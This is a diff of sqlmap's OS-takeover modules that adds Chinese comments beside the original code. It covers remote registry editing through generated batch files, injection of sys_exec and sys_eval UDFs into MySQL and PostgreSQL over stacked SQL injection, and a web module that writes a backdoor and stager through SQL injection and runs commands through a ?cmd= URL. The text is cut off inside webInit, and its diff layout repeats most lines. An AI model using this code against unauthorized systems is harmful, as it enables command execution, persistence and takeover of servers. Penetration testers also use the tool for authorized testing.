readParse = "FOR /F \"tokens=*\" %%A IN ('REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n" readParse = "FOR /F \"tokens=*\" %%A IN ('REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n"
else: else:
# 直接使用REG QUERY命令查询注册表
readParse = "REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\"" readParse = "REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\""
# 定义用于读取注册表的批处理命令
self._batRead = ( self._batRead = (
"@ECHO OFF\r\n", "@ECHO OFF\r\n", # 关闭命令回显
readParse, readParse, # 实际的查询命令
) )
# 定义用于添加注册表值的批处理命令
self._batAdd = ( self._batAdd = (
"@ECHO OFF\r\n", "@ECHO OFF\r\n",
"REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self._regKey, self._regValue, self._regType, self._regData), "REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self._regKey, self._regValue, self._regType, self._regData), # /f表示强制覆盖不提示
) )
# 定义用于删除注册表值的批处理命令
self._batDel = ( self._batDel = (
"@ECHO OFF\r\n", "@ECHO OFF\r\n",
"REG DELETE \"%s\" /v \"%s\" /f" % (self._regKey, self._regValue), "REG DELETE \"%s\" /v \"%s\" /f" % (self._regKey, self._regValue), # /f表示强制删除不提示
) )
def _createLocalBatchFile(self): def _createLocalBatchFile(self):
"""
在本地系统创建临时批处理文件
这个批处理文件包含了要在远程系统执行的注册表操作命令
"""
# 以写入模式打开本地临时文件
self._batPathFp = openFile(self._batPathLocal, "w") self._batPathFp = openFile(self._batPathLocal, "w")
# 根据操作类型选择相应的命令集
if self._operation == REGISTRY_OPERATION.READ: if self._operation == REGISTRY_OPERATION.READ:
lines = self._batRead lines = self._batRead # 读取操作的命令
elif self._operation == REGISTRY_OPERATION.ADD: elif self._operation == REGISTRY_OPERATION.ADD:
lines = self._batAdd lines = self._batAdd # 添加操作的命令
elif self._operation == REGISTRY_OPERATION.DELETE: elif self._operation == REGISTRY_OPERATION.DELETE:
lines = self._batDel lines = self._batDel # 删除操作的命令
# 将命令写入批处理文件
for line in lines: for line in lines:
self._batPathFp.write(line) self._batPathFp.write(line)
# 关闭文件
self._batPathFp.close() self._batPathFp.close()
def _createRemoteBatchFile(self): def _createRemoteBatchFile(self):
"""
在远程系统创建批处理文件
这个方法会先在本地创建文件然后将其复制到远程系统
"""
# 记录调试信息
logger.debug("creating batch file '%s'" % self._batPathRemote) logger.debug("creating batch file '%s'" % self._batPathRemote)
# 先在本地创建批处理文件
self._createLocalBatchFile() self._createLocalBatchFile()
# 将本地文件复制到远程系统
self.writeFile(self._batPathLocal, self._batPathRemote, "text", forceCheck=True) self.writeFile(self._batPathLocal, self._batPathRemote, "text", forceCheck=True)
# 删除本地的临时文件
os.unlink(self._batPathLocal) os.unlink(self._batPathLocal)
def readRegKey(self, regKey, regValue, parse=False): def readRegKey(self, regKey, regValue, parse=False):
"""
读取注册表键值的方法
:param regKey: 要读取的注册表键路径
:param regValue: 要读取的值名称
:param parse: 是否需要解析输出
:return: 返回读取到的注册表值内容
"""
# 设置操作类型为读取
self._operation = REGISTRY_OPERATION.READ self._operation = REGISTRY_OPERATION.READ
# 初始化变量并创建远程批处理文件
Registry._initVars(self, regKey, regValue, parse=parse) Registry._initVars(self, regKey, regValue, parse=parse)
self._createRemoteBatchFile() self._createRemoteBatchFile()
# 记录调试信息
logger.debug("reading registry key '%s' value '%s'" % (regKey, regValue)) logger.debug("reading registry key '%s' value '%s'" % (regKey, regValue))
# 在远程系统执行批处理文件并获取输出
data = self.evalCmd(self._batPathRemote) data = self.evalCmd(self._batPathRemote)
# 如果不需要解析,则处理输出格式(去除前导空格)
if data and not parse: if data and not parse:
pattern = ' ' pattern = ' '
index = data.find(pattern) index = data.find(pattern)
if index != -1: if index != -1:
data = data[index + len(pattern):] data = data[index + len(pattern):]
# 清理:删除远程临时文件
self.delRemoteFile(self._batPathRemote) self.delRemoteFile(self._batPathRemote)
return data return data
def addRegKey(self, regKey, regValue, regType, regData): def addRegKey(self, regKey, regValue, regType, regData):
"""
添加或修改注册表键值
:param regKey: 要添加的注册表键路径
:param regValue: 要添加的值名称
:param regType: 值的类型如REG_SZ, REG_DWORD等
:param regData: 要写入的数据
"""
# 设置操作类型为添加
self._operation = REGISTRY_OPERATION.ADD self._operation = REGISTRY_OPERATION.ADD
# 初始化变量并创建远程批处理文件
Registry._initVars(self, regKey, regValue, regType, regData) Registry._initVars(self, regKey, regValue, regType, regData)
self._createRemoteBatchFile() self._createRemoteBatchFile()
# 构造并记录调试信息
debugMsg = "adding registry key value '%s' " % self._regValue debugMsg = "adding registry key value '%s' " % self._regValue
debugMsg += "to registry key '%s'" % self._regKey debugMsg += "to registry key '%s'" % self._regKey
logger.debug(debugMsg) logger.debug(debugMsg)
# 执行远程批处理文件并清理
self.execCmd(cmd=self._batPathRemote) self.execCmd(cmd=self._batPathRemote)
self.delRemoteFile(self._batPathRemote) self.delRemoteFile(self._batPathRemote)
def delRegKey(self, regKey, regValue): def delRegKey(self, regKey, regValue):
"""
删除注册表键值
:param regKey: 要删除的注册表键路径
:param regValue: 要删除的值名称
"""
# 设置操作类型为删除
self._operation = REGISTRY_OPERATION.DELETE self._operation = REGISTRY_OPERATION.DELETE
# 初始化变量并创建远程批处理文件
Registry._initVars(self, regKey, regValue) Registry._initVars(self, regKey, regValue)
self._createRemoteBatchFile() self._createRemoteBatchFile()
# 构造并记录调试信息
debugMsg = "deleting registry key value '%s' " % self._regValue debugMsg = "deleting registry key value '%s' " % self._regValue
debugMsg += "from registry key '%s'" % self._regKey debugMsg += "from registry key '%s'" % self._regKey
logger.debug(debugMsg) logger.debug(debugMsg)
# 执行远程批处理文件并清理
self.execCmd(cmd=self._batPathRemote) self.execCmd(cmd=self._batPathRemote)
self.delRemoteFile(self._batPathRemote) self.delRemoteFile(self._batPathRemote)

@ -5,6 +5,7 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入所需的模块
import os import os
from lib.core.agent import agent from lib.core.agent import agent
@ -32,28 +33,38 @@ from lib.request import inject
class UDF(object): class UDF(object):
""" """
This class defines methods to deal with User-Defined Functions for 这个类定义了处理用户自定义函数(UDF)的方法
plugins. 用户自定义函数是数据库中由用户创建的函数,可以扩展数据库的功能
""" """
def __init__(self): def __init__(self):
self.createdUdf = set() # 初始化三个集合/字典来跟踪UDF状态
self.udfs = {} self.createdUdf = set() # 存储已创建的UDF
self.udfToCreate = set() self.udfs = {} # 存储UDF的详细信息
self.udfToCreate = set() # 存储待创建的UDF
def _askOverwriteUdf(self, udf): def _askOverwriteUdf(self, udf):
"""
询问用户是否要覆盖已存在的UDF
"""
message = "UDF '%s' already exists, do you " % udf message = "UDF '%s' already exists, do you " % udf
message += "want to overwrite it? [y/N] " message += "want to overwrite it? [y/N] "
return readInput(message, default='N', boolean=True) return readInput(message, default='N', boolean=True)
def _checkExistUdf(self, udf): def _checkExistUdf(self, udf):
"""
检查指定的UDF是否已经存在于数据库中
"""
logger.info("checking if UDF '%s' already exist" % udf) logger.info("checking if UDF '%s' already exist" % udf)
query = agent.forgeCaseStatement(queries[Backend.getIdentifiedDbms()].check_udf.query % (udf, udf)) query = agent.forgeCaseStatement(queries[Backend.getIdentifiedDbms()].check_udf.query % (udf, udf))
return inject.getValue(query, resumeValue=False, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY) return inject.getValue(query, resumeValue=False, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY)
def udfCheckAndOverwrite(self, udf): def udfCheckAndOverwrite(self, udf):
"""
检查UDF是否存在,并询问是否覆盖
"""
exists = self._checkExistUdf(udf) exists = self._checkExistUdf(udf)
overwrite = True overwrite = True
@ -64,12 +75,18 @@ class UDF(object):
self.udfToCreate.add(udf) self.udfToCreate.add(udf)
def udfCreateSupportTbl(self, dataType): def udfCreateSupportTbl(self, dataType):
"""
为UDF创建支持表
"""
debugMsg = "creating a support table for user-defined functions" debugMsg = "creating a support table for user-defined functions"
logger.debug(debugMsg) logger.debug(debugMsg)
self.createSupportTbl(self.cmdTblName, self.tblField, dataType) self.createSupportTbl(self.cmdTblName, self.tblField, dataType)
def udfForgeCmd(self, cmd): def udfForgeCmd(self, cmd):
"""
格式化命令字符串,确保命令两端有单引号
"""
if not cmd.startswith("'"): if not cmd.startswith("'"):
cmd = "'%s" % cmd cmd = "'%s" % cmd
@ -79,6 +96,12 @@ class UDF(object):
return cmd return cmd
def udfExecCmd(self, cmd, silent=False, udfName=None): def udfExecCmd(self, cmd, silent=False, udfName=None):
"""
执行UDF命令
@param cmd: 要执行的命令
@param silent: 是否静默执行
@param udfName: UDF名称,默认为sys_exec
"""
if udfName is None: if udfName is None:
udfName = "sys_exec" udfName = "sys_exec"
@ -87,6 +110,13 @@ class UDF(object):
return inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent) return inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent)
def udfEvalCmd(self, cmd, first=None, last=None, udfName=None): def udfEvalCmd(self, cmd, first=None, last=None, udfName=None):
"""
评估并执行UDF命令,并返回结果
@param cmd: 要执行的命令
@param first: 结果的起始位置
@param last: 结果的结束位置
@param udfName: UDF名称,默认为sys_eval
"""
if udfName is None: if udfName is None:
udfName = "sys_eval" udfName = "sys_eval"
@ -110,6 +140,9 @@ class UDF(object):
return output return output
def udfCheckNeeded(self): def udfCheckNeeded(self):
"""
检查哪些系统UDF是需要的,移除不需要的UDF
"""
if (not any((conf.fileRead, conf.commonFiles)) or (any((conf.fileRead, conf.commonFiles)) and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs: if (not any((conf.fileRead, conf.commonFiles)) or (any((conf.fileRead, conf.commonFiles)) and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs:
self.sysUdfs.pop("sys_fileread") self.sysUdfs.pop("sys_fileread")
@ -123,20 +156,34 @@ class UDF(object):
self.sysUdfs.pop("sys_exec") self.sysUdfs.pop("sys_exec")
def udfSetRemotePath(self): def udfSetRemotePath(self):
"""
设置UDF在远程服务器上的路径(需要在插件中实现)
"""
errMsg = "udfSetRemotePath() method must be defined within the plugin" errMsg = "udfSetRemotePath() method must be defined within the plugin"
raise SqlmapUnsupportedFeatureException(errMsg) raise SqlmapUnsupportedFeatureException(errMsg)
def udfSetLocalPaths(self): def udfSetLocalPaths(self):
"""
设置UDF在本地的路径(需要在插件中实现)
"""
errMsg = "udfSetLocalPaths() method must be defined within the plugin" errMsg = "udfSetLocalPaths() method must be defined within the plugin"
raise SqlmapUnsupportedFeatureException(errMsg) raise SqlmapUnsupportedFeatureException(errMsg)
def udfCreateFromSharedLib(self, udf, inpRet): def udfCreateFromSharedLib(self, udf, inpRet):
"""
从共享库创建UDF(需要在插件中实现)
"""
errMsg = "udfCreateFromSharedLib() method must be defined within the plugin" errMsg = "udfCreateFromSharedLib() method must be defined within the plugin"
raise SqlmapUnsupportedFeatureException(errMsg) raise SqlmapUnsupportedFeatureException(errMsg)
def udfInjectCore(self, udfDict): def udfInjectCore(self, udfDict):
"""
UDF注入的核心方法
@param udfDict: UDF字典,包含要注入的UDF信息
"""
written = False written = False
# 检查每个UDF是否需要覆盖
for udf in udfDict.keys(): for udf in udfDict.keys():
if udf in self.createdUdf: if udf in self.createdUdf:
continue continue
@ -164,10 +211,12 @@ class UDF(object):
else: else:
return True return True
# 创建每个UDF
for udf, inpRet in udfDict.items(): for udf, inpRet in udfDict.items():
if udf in self.udfToCreate and udf not in self.createdUdf: if udf in self.udfToCreate and udf not in self.createdUdf:
self.udfCreateFromSharedLib(udf, inpRet) self.udfCreateFromSharedLib(udf, inpRet)
# 根据数据库类型创建支持表
if Backend.isDbms(DBMS.MYSQL): if Backend.isDbms(DBMS.MYSQL):
supportTblType = "longtext" supportTblType = "longtext"
elif Backend.isDbms(DBMS.PGSQL): elif Backend.isDbms(DBMS.PGSQL):
@ -178,16 +227,25 @@ class UDF(object):
return written return written
def udfInjectSys(self): def udfInjectSys(self):
"""
注入系统UDF
"""
self.udfSetLocalPaths() self.udfSetLocalPaths()
self.udfCheckNeeded() self.udfCheckNeeded()
return self.udfInjectCore(self.sysUdfs) return self.udfInjectCore(self.sysUdfs)
def udfInjectCustom(self): def udfInjectCustom(self):
"""
注入自定义UDF的主要方法
包含了用户交互参数验证UDF创建和执行等完整流程
"""
# 检查数据库类型是否支持UDF
if Backend.getIdentifiedDbms() not in (DBMS.MYSQL, DBMS.PGSQL): if Backend.getIdentifiedDbms() not in (DBMS.MYSQL, DBMS.PGSQL):
errMsg = "UDF injection feature only works on MySQL and PostgreSQL" errMsg = "UDF injection feature only works on MySQL and PostgreSQL"
logger.error(errMsg) logger.error(errMsg)
return return
# 检查是否支持堆叠查询
if not isStackingAvailable() and not conf.direct: if not isStackingAvailable() and not conf.direct:
errMsg = "UDF injection feature requires stacked queries SQL injection" errMsg = "UDF injection feature requires stacked queries SQL injection"
logger.error(errMsg) logger.error(errMsg)
@ -195,11 +253,13 @@ class UDF(object):
self.checkDbmsOs() self.checkDbmsOs()
# 检查用户权限
if not self.isDba(): if not self.isDba():
warnMsg = "functionality requested probably does not work because " warnMsg = "functionality requested probably does not work because "
warnMsg += "the current session user is not a database administrator" warnMsg += "the current session user is not a database administrator"
logger.warning(warnMsg) logger.warning(warnMsg)
# 获取共享库路径
if not conf.shLib: if not conf.shLib:
msg = "what is the local path of the shared library? " msg = "what is the local path of the shared library? "
@ -213,6 +273,7 @@ class UDF(object):
else: else:
self.udfLocalFile = conf.shLib self.udfLocalFile = conf.shLib
# 验证共享库文件
if not os.path.exists(self.udfLocalFile): if not os.path.exists(self.udfLocalFile):
errMsg = "the specified shared library file does not exist" errMsg = "the specified shared library file does not exist"
raise SqlmapFilePathException(errMsg) raise SqlmapFilePathException(errMsg)
@ -231,9 +292,11 @@ class UDF(object):
errMsg += "but the database underlying operating system is Linux" errMsg += "but the database underlying operating system is Linux"
raise SqlmapMissingMandatoryOptionException(errMsg) raise SqlmapMissingMandatoryOptionException(errMsg)
# 获取共享库名称和扩展名
self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0] self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0]
self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1] self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1]
# 获取要创建的UDF数量
msg = "how many user-defined functions do you want to create " msg = "how many user-defined functions do you want to create "
msg += "from the shared library? " msg += "from the shared library? "
@ -251,6 +314,7 @@ class UDF(object):
else: else:
logger.warning("invalid value, only digits are allowed") logger.warning("invalid value, only digits are allowed")
# 循环获取每个UDF的信息
for x in xrange(0, udfCount): for x in xrange(0, udfCount):
while True: while True:
msg = "what is the name of the UDF number %d? " % (x + 1) msg = "what is the name of the UDF number %d? " % (x + 1)
@ -262,6 +326,7 @@ class UDF(object):
else: else:
logger.warning("you need to specify the name of the UDF") logger.warning("you need to specify the name of the UDF")
# 设置默认返回类型
if Backend.isDbms(DBMS.MYSQL): if Backend.isDbms(DBMS.MYSQL):
defaultType = "string" defaultType = "string"
elif Backend.isDbms(DBMS.PGSQL): elif Backend.isDbms(DBMS.PGSQL):
@ -269,6 +334,7 @@ class UDF(object):
self.udfs[udfName]["input"] = [] self.udfs[udfName]["input"] = []
# 获取输入参数数量
msg = "how many input parameters takes UDF " msg = "how many input parameters takes UDF "
msg += "'%s'? (default: 1) " % udfName msg += "'%s'? (default: 1) " % udfName
@ -282,6 +348,7 @@ class UDF(object):
else: else:
logger.warning("invalid value, only digits >= 0 are allowed") logger.warning("invalid value, only digits >= 0 are allowed")
# 获取每个输入参数的类型
for y in xrange(0, parCount): for y in xrange(0, parCount):
msg = "what is the data-type of input parameter " msg = "what is the data-type of input parameter "
msg += "number %d? (default: %s) " % ((y + 1), defaultType) msg += "number %d? (default: %s) " % ((y + 1), defaultType)
@ -296,6 +363,7 @@ class UDF(object):
self.udfs[udfName]["input"].append(parType) self.udfs[udfName]["input"].append(parType)
break break
# 获取返回值类型
msg = "what is the data-type of the return " msg = "what is the data-type of the return "
msg += "value? (default: %s) " % defaultType msg += "value? (default: %s) " % defaultType
@ -308,12 +376,14 @@ class UDF(object):
self.udfs[udfName]["return"] = retType self.udfs[udfName]["return"] = retType
break break
# 注入UDF
success = self.udfInjectCore(self.udfs) success = self.udfInjectCore(self.udfs)
if success is False: if success is False:
self.cleanup(udfDict=self.udfs) self.cleanup(udfDict=self.udfs)
return False return False
# 询问是否要调用注入的UDF
msg = "do you want to call your injected user-defined " msg = "do you want to call your injected user-defined "
msg += "functions now? [Y/n/q] " msg += "functions now? [Y/n/q] "
choice = readInput(msg, default='Y').upper() choice = readInput(msg, default='Y').upper()
@ -325,6 +395,7 @@ class UDF(object):
self.cleanup(udfDict=self.udfs) self.cleanup(udfDict=self.udfs)
raise SqlmapUserQuitException raise SqlmapUserQuitException
# 循环调用UDF
while True: while True:
udfList = [] udfList = []
msg = "which UDF do you want to call?" msg = "which UDF do you want to call?"
@ -351,6 +422,7 @@ class UDF(object):
if not isinstance(choice, int): if not isinstance(choice, int):
break break
# 构建UDF调用命令
cmd = "" cmd = ""
count = 1 count = 1
udfToCall = udfList[choice - 1] udfToCall = udfList[choice - 1]
@ -378,6 +450,7 @@ class UDF(object):
msg = "do you want to retrieve the return value of the " msg = "do you want to retrieve the return value of the "
msg += "UDF? [Y/n] " msg += "UDF? [Y/n] "
# 执行UDF并获取返回值
if readInput(msg, default='Y', boolean=True): if readInput(msg, default='Y', boolean=True):
output = self.udfEvalCmd(cmd, udfName=udfToCall) output = self.udfEvalCmd(cmd, udfName=udfToCall)
@ -393,4 +466,5 @@ class UDF(object):
if not readInput(msg, default='Y', boolean=True): if not readInput(msg, default='Y', boolean=True):
break break
# 清理UDF
self.cleanup(udfDict=self.udfs) self.cleanup(udfDict=self.udfs)

@ -5,76 +5,90 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入所需的标准库
import io import io
import os import os
import posixpath import posixpath
import re import re
import tempfile import tempfile
from extra.cloak.cloak import decloak # 导入自定义模块和第三方库
from lib.core.agent import agent from extra.cloak.cloak import decloak # 用于解密混淆的文件
from lib.core.common import arrayizeValue from lib.core.agent import agent # SQL注入代理模块
from lib.core.common import Backend from lib.core.common import arrayizeValue # 将值转换为数组
from lib.core.common import extractRegexResult from lib.core.common import Backend # 后端DBMS信息
from lib.core.common import getAutoDirectories from lib.core.common import extractRegexResult # 正则提取结果
from lib.core.common import getManualDirectories from lib.core.common import getAutoDirectories # 获取自动检测的目录
from lib.core.common import getPublicTypeMembers from lib.core.common import getManualDirectories # 获取手动指定的目录
from lib.core.common import getSQLSnippet from lib.core.common import getPublicTypeMembers # 获取类的公共成员
from lib.core.common import getTechnique from lib.core.common import getSQLSnippet # 获取SQL代码片段
from lib.core.common import getTechniqueData from lib.core.common import getTechnique # 获取注入技术
from lib.core.common import isDigit from lib.core.common import getTechniqueData # 获取注入技术数据
from lib.core.common import isTechniqueAvailable from lib.core.common import isDigit # 判断是否为数字
from lib.core.common import isWindowsDriveLetterPath from lib.core.common import isTechniqueAvailable # 判断注入技术是否可用
from lib.core.common import normalizePath from lib.core.common import isWindowsDriveLetterPath # 判断是否为Windows驱动器路径
from lib.core.common import ntToPosixSlashes from lib.core.common import normalizePath # 规范化路径
from lib.core.common import openFile from lib.core.common import ntToPosixSlashes # Windows路径转POSIX路径
from lib.core.common import parseFilePaths from lib.core.common import openFile # 打开文件
from lib.core.common import posixToNtSlashes from lib.core.common import parseFilePaths # 解析文件路径
from lib.core.common import randomInt from lib.core.common import posixToNtSlashes # POSIX路径转Windows路径
from lib.core.common import randomStr from lib.core.common import randomInt # 生成随机整数
from lib.core.common import readInput from lib.core.common import randomStr # 生成随机字符串
from lib.core.common import singleTimeWarnMessage from lib.core.common import readInput # 读取用户输入
from lib.core.compat import xrange from lib.core.common import singleTimeWarnMessage # 单次警告消息
from lib.core.convert import encodeHex from lib.core.compat import xrange # 兼容Python2/3的range
from lib.core.convert import getBytes from lib.core.convert import encodeHex # 十六进制编码
from lib.core.convert import getText from lib.core.convert import getBytes # 获取字节串
from lib.core.convert import getUnicode from lib.core.convert import getText # 获取文本
from lib.core.data import conf from lib.core.convert import getUnicode # 获取Unicode字符串
from lib.core.data import kb from lib.core.data import conf # 配置数据
from lib.core.data import logger from lib.core.data import kb # 知识库数据
from lib.core.data import paths from lib.core.data import logger # 日志记录器
from lib.core.datatype import OrderedSet from lib.core.data import paths # 路径信息
from lib.core.enums import DBMS from lib.core.datatype import OrderedSet # 有序集合
from lib.core.enums import HTTP_HEADER from lib.core.enums import DBMS # 数据库管理系统枚举
from lib.core.enums import OS from lib.core.enums import HTTP_HEADER # HTTP头部枚举
from lib.core.enums import PAYLOAD from lib.core.enums import OS # 操作系统枚举
from lib.core.enums import PLACE from lib.core.enums import PAYLOAD # 载荷类型枚举
from lib.core.enums import WEB_PLATFORM from lib.core.enums import PLACE # 注入位置枚举
from lib.core.exception import SqlmapNoneDataException from lib.core.enums import WEB_PLATFORM # Web平台枚举
from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT from lib.core.exception import SqlmapNoneDataException # sqlmap异常类
from lib.core.settings import EVENTVALIDATION_REGEX from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT # 后门命令执行超时设置
from lib.core.settings import SHELL_RUNCMD_EXE_TAG from lib.core.settings import EVENTVALIDATION_REGEX # ASP.NET事件验证正则
from lib.core.settings import SHELL_WRITABLE_DIR_TAG from lib.core.settings import SHELL_RUNCMD_EXE_TAG # Shell运行命令可执行文件标签
from lib.core.settings import VIEWSTATE_REGEX from lib.core.settings import SHELL_WRITABLE_DIR_TAG # Shell可写目录标签
from lib.request.connect import Connect as Request from lib.core.settings import VIEWSTATE_REGEX # ASP.NET视图状态正则
from thirdparty.six.moves import urllib as _urllib from lib.request.connect import Connect as Request # HTTP请求类
from thirdparty.six.moves import urllib as _urllib # URL处理库
class Web(object): class Web(object):
""" """
This class defines web-oriented OS takeover functionalities for 这个类定义了Web相关的操作系统接管功能
plugins. 主要用于上传和执行Web后门,实现对目标系统的远程控制
""" """
def __init__(self): def __init__(self):
self.webPlatform = None """
self.webBaseUrl = None 初始化Web类的属性
self.webBackdoorUrl = None """
self.webBackdoorFilePath = None self.webPlatform = None # Web平台类型(PHP/ASP/ASPX等)
self.webStagerUrl = None self.webBaseUrl = None # Web根URL
self.webStagerFilePath = None self.webBackdoorUrl = None # 后门URL
self.webDirectory = None self.webBackdoorFilePath = None # 后门文件路径
self.webStagerUrl = None # 文件上传器URL
self.webStagerFilePath = None # 文件上传器路径
self.webDirectory = None # Web目录
def webBackdoorRunCmd(self, cmd): def webBackdoorRunCmd(self, cmd):
"""
通过Web后门执行系统命令
参数:
cmd: 要执行的命令
返回:
命令执行的输出结果
"""
if self.webBackdoorUrl is None: if self.webBackdoorUrl is None:
return return
@ -83,10 +97,13 @@ class Web(object):
if not cmd: if not cmd:
cmd = conf.osCmd cmd = conf.osCmd
# 构造命令执行URL
cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, getUnicode(cmd)) cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, getUnicode(cmd))
# 发送请求执行命令
page, _, _ = Request.getPage(url=cmdUrl, direct=True, silent=True, timeout=BACKDOOR_RUN_CMD_TIMEOUT) page, _, _ = Request.getPage(url=cmdUrl, direct=True, silent=True, timeout=BACKDOOR_RUN_CMD_TIMEOUT)
if page is not None: if page is not None:
# 从响应中提取命令输出
output = re.search(r"<pre>(.+?)</pre>", page, re.I | re.S) output = re.search(r"<pre>(.+?)</pre>", page, re.I | re.S)
if output: if output:
@ -95,18 +112,30 @@ class Web(object):
return output return output
def webUpload(self, destFileName, directory, stream=None, content=None, filepath=None): def webUpload(self, destFileName, directory, stream=None, content=None, filepath=None):
"""
上传文件到目标服务器
参数:
destFileName: 目标文件名
directory: 目标目录
stream: 文件流对象
content: 文件内容
filepath: 本地文件路径
返回:
上传是否成功
"""
if filepath is not None: if filepath is not None:
if filepath.endswith('_'): if filepath.endswith('_'):
content = decloak(filepath) # cloaked file content = decloak(filepath) # 解密混淆文件
else: else:
with openFile(filepath, "rb", encoding=None) as f: with openFile(filepath, "rb", encoding=None) as f:
content = f.read() content = f.read()
if content is not None: if content is not None:
stream = io.BytesIO(getBytes(content)) # string content stream = io.BytesIO(getBytes(content)) # 将内容转换为字节流
# Reference: https://github.com/sqlmapproject/sqlmap/issues/3560 # 设置流的长度属性
# Reference: https://stackoverflow.com/a/4677542
stream.seek(0, os.SEEK_END) stream.seek(0, os.SEEK_END)
stream.len = stream.tell() stream.len = stream.tell()
stream.seek(0, os.SEEK_SET) stream.seek(0, os.SEEK_SET)
@ -114,7 +143,18 @@ class Web(object):
return self._webFileStreamUpload(stream, destFileName, directory) return self._webFileStreamUpload(stream, destFileName, directory)
def _webFileStreamUpload(self, stream, destFileName, directory): def _webFileStreamUpload(self, stream, destFileName, directory):
stream.seek(0) # Rewind """
通过文件流上传文件的内部方法
参数:
stream: 文件流对象
destFileName: 目标文件名
directory: 目标目录
返回:
上传是否成功
"""
stream.seek(0) # 重置流位置
try: try:
setattr(stream, "name", destFileName) setattr(stream, "name", destFileName)
@ -122,16 +162,19 @@ class Web(object):
pass pass
if self.webPlatform in getPublicTypeMembers(WEB_PLATFORM, True): if self.webPlatform in getPublicTypeMembers(WEB_PLATFORM, True):
# 构造多部分表单数据
multipartParams = { multipartParams = {
"upload": "1", "upload": "1",
"file": stream, "file": stream,
"uploadDir": directory, "uploadDir": directory,
} }
# 对ASP.NET平台添加特殊参数
if self.webPlatform == WEB_PLATFORM.ASPX: if self.webPlatform == WEB_PLATFORM.ASPX:
multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION
multipartParams['__VIEWSTATE'] = kb.data.__VIEWSTATE multipartParams['__VIEWSTATE'] = kb.data.__VIEWSTATE
# 发送上传请求
page, _, _ = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False) page, _, _ = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False)
if "File uploaded" not in (page or ""): if "File uploaded" not in (page or ""):
@ -146,10 +189,22 @@ class Web(object):
return False return False
def _webFileInject(self, fileContent, fileName, directory): def _webFileInject(self, fileContent, fileName, directory):
"""
通过SQL注入写入文件的内部方法
参数:
fileContent: 文件内容
fileName: 文件名
directory: 目标目录
返回:
注入结果页面
"""
outFile = posixpath.join(ntToPosixSlashes(directory), fileName) outFile = posixpath.join(ntToPosixSlashes(directory), fileName)
uplQuery = getUnicode(fileContent).replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) uplQuery = getUnicode(fileContent).replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
query = "" query = ""
# 根据注入技术构造查询
if isTechniqueAvailable(getTechnique()): if isTechniqueAvailable(getTechnique()):
where = getTechniqueData().where where = getTechniqueData().where
@ -157,8 +212,9 @@ class Web(object):
randInt = randomInt() randInt = randomInt()
query += "OR %d=%d " % (randInt, randInt) query += "OR %d=%d " % (randInt, randInt)
# 构造写文件的SQL语句
query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=encodeHex(uplQuery, binary=False)) query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=encodeHex(uplQuery, binary=False))
query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required) query = agent.prefixQuery(query)
payload = agent.payload(newValue=query) payload = agent.payload(newValue=query)
page = Request.queryPage(payload) page = Request.queryPage(payload)
@ -166,26 +222,32 @@ class Web(object):
def webInit(self): def webInit(self):
""" """
This method is used to write a web backdoor (agent) on a writable 初始化Web后门
remote directory within the web server document root. 该方法用于在Web服务器的可写目录中写入Web后门(代理)
""" """
# 如果已经初始化过,直接返回
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webPlatform is not None: if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webPlatform is not None:
return return
# 检查数据库和操作系统类型
self.checkDbmsOs() self.checkDbmsOs()
# 确定Web平台类型
default = None default = None
choices = list(getPublicTypeMembers(WEB_PLATFORM, True)) choices = list(getPublicTypeMembers(WEB_PLATFORM, True))
# 根据URL后缀猜测Web平台
for ext in choices: for ext in choices:
if conf.url.endswith(ext): if conf.url.endswith(ext):
default = ext default = ext
break break
# 如果无法猜测,根据操作系统设置默认值
if not default: if not default:
default = WEB_PLATFORM.ASP if Backend.isOs(OS.WINDOWS) else WEB_PLATFORM.PHP default = WEB_PLATFORM.ASP if Backend.isOs(OS.WINDOWS) else WEB_PLATFORM.PHP
# 提示用户选择Web平台
message = "which web application language does the web server " message = "which web application language does the web server "
message += "support?\n" message += "support?\n"
@ -198,6 +260,7 @@ class Web(object):
message = message[:-1] message = message[:-1]
# 获取用户输入的Web平台选择
while True: while True:
choice = readInput(message, default=str(default)) choice = readInput(message, default=str(default))
@ -211,6 +274,7 @@ class Web(object):
self.webPlatform = choices[int(choice) - 1] self.webPlatform = choices[int(choice) - 1]
break break
# 尝试获取完整的文件路径信息
